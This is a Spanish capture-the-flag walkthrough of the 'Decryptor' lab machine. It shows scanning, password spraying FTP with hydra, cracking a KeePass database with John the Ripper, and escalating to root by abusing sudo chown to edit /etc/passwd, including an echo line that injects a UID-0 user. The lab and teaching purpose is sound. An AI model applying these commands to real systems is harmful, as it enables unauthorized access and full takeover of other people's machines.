Decryptor - TheHackerLabs
Esta fue una máquina sencilla. Después de analizar los escaneos, pasamos a analizar la página web que encontramos en el puerto 80, siendo que en su código fuente, encontramos un comentario que resulta ser un código Brainfuck. Decodificando este código, descubrimos que es una contraseña, la cual separamos por partes y aplicamos Password Spraying en los servicios activos, para identificar si el usuario se encuentra en la contraseña, siendo que así lo encontramos y ganamos acceso al servicio FTP. Dentro del FTP, encontramos una base de datos de KeePass, que descargamos y crackeamos, resultando en el usuario y contraseña para entrar al servicio SSH. Dentro del SSH, vemos que nuestro usuario puede usar el binario chown como Root, lo que nos permite cambiarle los permisos al archivo /etc/passwd
, con tal de que nuestro usuario pueda modificarlo y así escalar privilegios de varias maneras.
Herramientas utilizadas:
- ping
- nmap
- nano
- hydra
- ftp
- keepass2john
- JohnTheRipper
- ssh
- sudo
- chown
- openssl
- which
- echo
- su
Índice
Recopilación de Información
Traza ICMP
Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.
ping -c 4 192.168.10.10
PING 192.168.10.10 (192.168.10.10) 56(84) bytes of data.
64 bytes from 192.168.10.10: icmp_seq=1 ttl=64 time=1.42 ms
64 bytes from 192.168.10.10: icmp_seq=2 ttl=64 time=0.911 ms
64 bytes from 192.168.10.10: icmp_seq=3 ttl=64 time=0.885 ms
64 bytes from 192.168.10.10: icmp_seq=4 ttl=64 time=0.711 ms
--- 192.168.10.10 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3035ms
rtt min/avg/max/mdev = 0.711/0.981/1.418/0.263 ms
Por el TTL sabemos que la máquina usa Linux, hagamos los escaneos de puertos y servicios.
Escaneo de Puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.10.10 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-21 12:15 CST
Initiating ARP Ping Scan at 12:15
Scanning 192.168.10.10 [1 port]
Completed ARP Ping Scan at 12:15, 0.07s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:15
Scanning 192.168.10.10 [65535 ports]
Discovered open port 80/tcp on 192.168.10.10
Discovered open port 22/tcp on 192.168.10.10
Discovered open port 2121/tcp on 192.168.10.10
Completed SYN Stealth Scan at 12:16, 8.39s elapsed (65535 total ports)
Nmap scan report for 192.168.10.10
Host is up, received arp-response (0.00089s latency).
Scanned at 2025-04-21 12:15:52 CST for 9s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
2121/tcp open ccproxy-ftp syn-ack ttl 64
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 8.68 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
Parámetros | Descripción |
---|---|
-p- | Para indicarle un escaneo en ciertos puertos. |
–open | Para indicar que aplique el escaneo en los puertos abiertos. |
-sS | Para indicar un TCP Syn Port Scan para que nos agilice el escaneo. |
–min-rate | Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000). |
-vvv | Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo. |
-n | Para indicar que no se aplique resolución dns para agilizar el escaneo. |
-Pn | Para indicar que se omita el descubrimiento de hosts. |
-oG | Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts. |
Hay 3 puertos abiertos, pero me llama la atención que tenga el servicio FTP activo en el puerto 2121.
Escaneo de Servicios
nmap -sCV -p 22,80,2121 192.168.10.10 -oN targeted
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-21 12:16 CST
Nmap scan report for 192.168.10.10
Host is up (0.00089s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 01:86:f3:c5:03:b3:27:0e:47:8e:e9:2e:41:3f:b8:40 (ECDSA)
|_ 256 5b:0c:8c:d1:16:99:16:90:59:c7:03:fe:21:67:1b:10 (ED25519)
80/tcp open http Apache httpd 2.4.59 ((Debian))
|_http-server-header: Apache/2.4.59 (Debian)
|_http-title: Apache2 Debian Default Page: It works
2121/tcp open ftp vsftpd 3.0.3
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.31 seconds
Parámetros | Descripción |
---|---|
-sC | Para indicar un lanzamiento de scripts básicos de reconocimiento. |
-sV | Para identificar los servicios/versión que están activos en los puertos que se analicen. |
-p | Para indicar puertos específicos. |
-oN | Para indicar que el output se guarde en un fichero. Lo llame targeted. |
Bien, de momento lo único que podemos analizar es la página web del puerto 80, ya que, el escaneo no reporta que podamos utilizar al usuario anonymous para entrar al servicio FTP.
Análisis de Vulnerabilidades
Analizando Servicio HTTP
Entremos:
Como lo dice el escaneo, es solo la página por defecto de Apache2.
Pero, si revisamos el código fuente, encontraremos algo interesante:
Encontramos código Brainfuck, por lo que podemos tratar de decodificarlo con la siguiente página:
La página nos da este resultado:
Parece ser una contraseña, pero no tenemos usuarios.
Tenemos que buscarlo.
Explotación de Vulnerabilidades
Aplicando Password Spraying y Enumerando Servicio FTP
Analizando la contraseña, podemos separarla en 3 partes:
nano usuarios.txt
-----------------
mario
eats
lettuce
Bien, podemos utilizar la herramienta hydra para probar la contraseña encontrada en los usuarios que creamos, lo que se traduce en aplicar Password Spraying.
Pero esto no funciono con el servicio SSH, por lo que vamos a intentarlo con el servicio FTP.
Intentémoslo:
hydra -L usuarios.txt -p '******' ftp://192.168.10.10:2121
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-21 14:05:25
[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:3/p:1), ~1 try per task
[DATA] attacking ftp://192.168.10.10:2121/
[2121][ftp] host: 192.168.10.10 login: mario password: ******
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-21 14:05:29
Muy bien, el usuario correcto es mario.
Con esto podemos entrar al servicio FTP:
ftp 192.168.10.10 2121
Connected to 192.168.10.10.
220 (vsFTPd 3.0.3)
Name (192.168.10.10:berserkwings): mario
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Y si vemos el contenido del FTP, vemos solo un archivo, siendo una base de datos de KeePass:
ftp> ls
229 Entering Extended Passive Mode (|||59048|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 1390 May 21 2024 user.kdbx
226 Directory send OK.
Entremos en modo binary, para evitar problemas en la descarga y descarguemos este archivo:
ftp> binary
200 Switching to Binary mode.
ftp> get user.kdbx
local: user.kdbx remote: user.kdbx
229 Entering Extended Passive Mode (|||56989|)
150 Opening BINARY mode data connection for user.kdbx (1390 bytes).
100% |*********************************| 1390 304.14 KiB/s 00:00 ETA
226 Transfer complete.
1390 bytes received in 00:00 (184.58 KiB/s)
ftp> exit
221 Goodbye.
Lo tenemos.
Cracking de Archivo .kdbx de KeePass y Ganando Acceso a la Máquina Víctima
Podemos intentar crackear esta base de datos, con tal de encontrar su contraseña y poder entrar a este con KeePassXC.
Usaremos la herramienta keepass2john para obtener el hash del archivo:
keepass2john user.kdbx > hash
.
cat hash
user:$keepass$*2*1*0*db07e93b....
Ahora, usaremos JohnTheRipper para crackear el hash:
john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 1 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
****** (user)
1g 0:00:00:00 DONE (2025-04-21 12:22) 7.692g/s 422953p/s 422953c/s 422953C/s nando1..molly21
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Genial, lo tenemos.
Ya solo tenemos que cargar la base de datos al KeePassXC y usar la contraseña para entrar.
Si no tienes KeePassXC en tu Kali, puedes instalarlo de esta manera:
sudo apt install keepassxc
Veamos el contenido de la base de datos:
Tenemos un usuario y contraseña.
Lo podemos usar con el servicio SSH para poder entrar a la máquina víctima:
ssh chiquero@192.168.10.10
chiquero@192.168.10.10's password:
Linux Decryptor 6.1.0-21-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03) x86_64
Last login: Tue May 21 07:52:17 2024
chiquero@Decryptor:~$ whoami
chiquero
Y podemos encontrar la flag del usuario, si nos movemos al directorio /home
y entramos al directorio del usuario mario:
chiquero@Decryptor:~$ ls ..
chiquero mario
chiquero@Decryptor:~$ cd ../mario/
chiquero@Decryptor:/home/mario$ ls
ftp user.txt
chiquero@Decryptor:/home/mario$ cat user.txt
...
Post Explotación
Escalando Privilegios con Binario chown
Veamos qué privilegios tiene este usuario:
chiquero@Decryptor:~$ sudo -l
Matching Defaults entries for chiquero on Decryptor:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User chiquero may run the following commands on Decryptor:
(ALL) NOPASSWD: /usr/bin/chown
Podemos usar el binario chown como Root.
Usando la guía de GTFOBins, encontramos una forma de escalar privilegios con este binario:
De esta forma, podemos cambiar el dueño de cualquier archivo de la máquina que sea del Root, para que nuestro usuario lo pueda ver o usar.
Por ejemplo, probemos con el directorio /root
:
chiquero@Decryptor:~$ ls /root
ls: cannot open directory '/root': Permission denied
chiquero@Decryptor:~$ LFILE=/root
chiquero@Decryptor:~$ sudo chown $(id -un):$(id -gn) $LFILE
chiquero@Decryptor:~$ ls -la /root
total 32
drwx------ 4 chiquero chiquero 4096 Jun 7 2024 .
drwxr-xr-x 18 root root 4096 May 21 2024 ..
lrwxrwxrwx 1 root root 9 Jun 7 2024 .bash_history -> /dev/null
-rw-r--r-- 1 root root 571 Apr 10 2021 .bashrc
-rw------- 1 root root 20 May 21 2024 .lesshst
drwxr-xr-x 3 root root 4096 May 21 2024 .local
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
-rw-r--r-- 1 root root 30 Jun 7 2024 root.txt
drwx------ 2 root root 4096 May 21 2024 .ssh
Al principio, no podemos ver nada, y luego de aplicar el cambio de dueño, podemos entrar al directorio /root
. Pero como tal, no podemos hacer nada más.
Tenemos varías opciones que podemos aplicar aquí.
Cambiando Contraseña del Root Desde el /etc/passwd
La primera opción que podemos hacer, es cambiar la contraseña del Root, modificando el archivo /etc/passwd
.
Primero, cambiemos el dueño de este archivo, para que nuestro usuario pueda modificarlo:
chiquero@Decryptor:~$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1290 May 21 2024 /etc/passwd
chiquero@Decryptor:~$ LFILE=/etc/passwd
chiquero@Decryptor:~$ sudo chown $(id -un):$(id -gn) $LFILE
chiquero@Decryptor:~$ ls -la /etc/passwd
-rw-r--r-- 1 chiquero chiquero 1290 May 21 2024 /etc/passwd
Ahora, vamos a crear el hash de una contraseña random con openssl:
chiquero@Decryptor:~$ which openssl
/usr/bin/openssl
chiquero@Decryptor:~$ openssl passwd hack123
$1$XcEUPl6S$xZJcD3/GIQGf26XA9hK7O.
Abre el archivo /etc/passwd
con nano y cambia la x (que es la contraseña del Root), por la contraseña hasheada que acabamos de crear con openssl:
Guárdalo y ciérralo.
Autentícate como Root con la contraseña que usaste:
chiquero@Decryptor:~$ su
Password:
root@Decryptor:/home/chiquero# whoami
root
Listo, ya somos Root.
Eliminando Contraseña del Usuario Root
Otra cosa que podemos hacer, es solamente eliminar la contraseña del Root. Lo que nos permitiría autenticarnos como Root sin tener que dar una contraseña.
Solo abre el /etc/passwd
y elimina la x:
Guárdalo y ciérralo.
Ya solamente autentícate como Root:
chiquero@Decryptor:~$ su
root@Decryptor:/home/chiquero# whoami
root
Listo, volvimos a ser Root.
Inyectando Usuario en /etc/passwd y Dandole Permisos de Root
Como tal, no podemos crear un usuario, ya que nuestro usuario actual no tiene los permisos necesarios.
Lo que sí podemos hacer, es inyectar un usuario dentro del /etc/passwd
.
Crea una contraseña random con openssl:
chiquero@Decryptor:~$ openssl passwd hack123
$1$XcEUPl6S$xZJcD3/GIQGf26XA9hK7O.
Vamos a copiar la sintaxis del usuario Root descrito en el /etc/passwd
, para crear un usuario random y poder inyectarlo.
Quedaría así:
chiquero@Decryptor:~$ echo 'berserk:$1$XcEUPl6S$xZJcD3/GIQGf26XA9hK7O.:0:0::/home/berserk:/bin/bash' >> /etc/passwd
Si revisamos el /etc/passwd
, ahí debería estar nuestro usuario:
Ya solo nos autenticamos como nuestro usuario:
chiquero@Decryptor:~$ su berserk
Password:
root@Decryptor:/home/chiquero# whoami
root
Listo, volvimos a ser Root.
Ya solo buscamos la flag:
root@Decryptor:/home/chiquero# cd /root
root@Decryptor:/root# ls
root.txt
root@Decryptor:/root# cat root.txt
...
Y con esto, terminamos la máquina.
Links de Investigación
- https://md5decrypt.net/en/Brainfuck-translator/
- https://gtfobins.github.io/gtfobins/chown/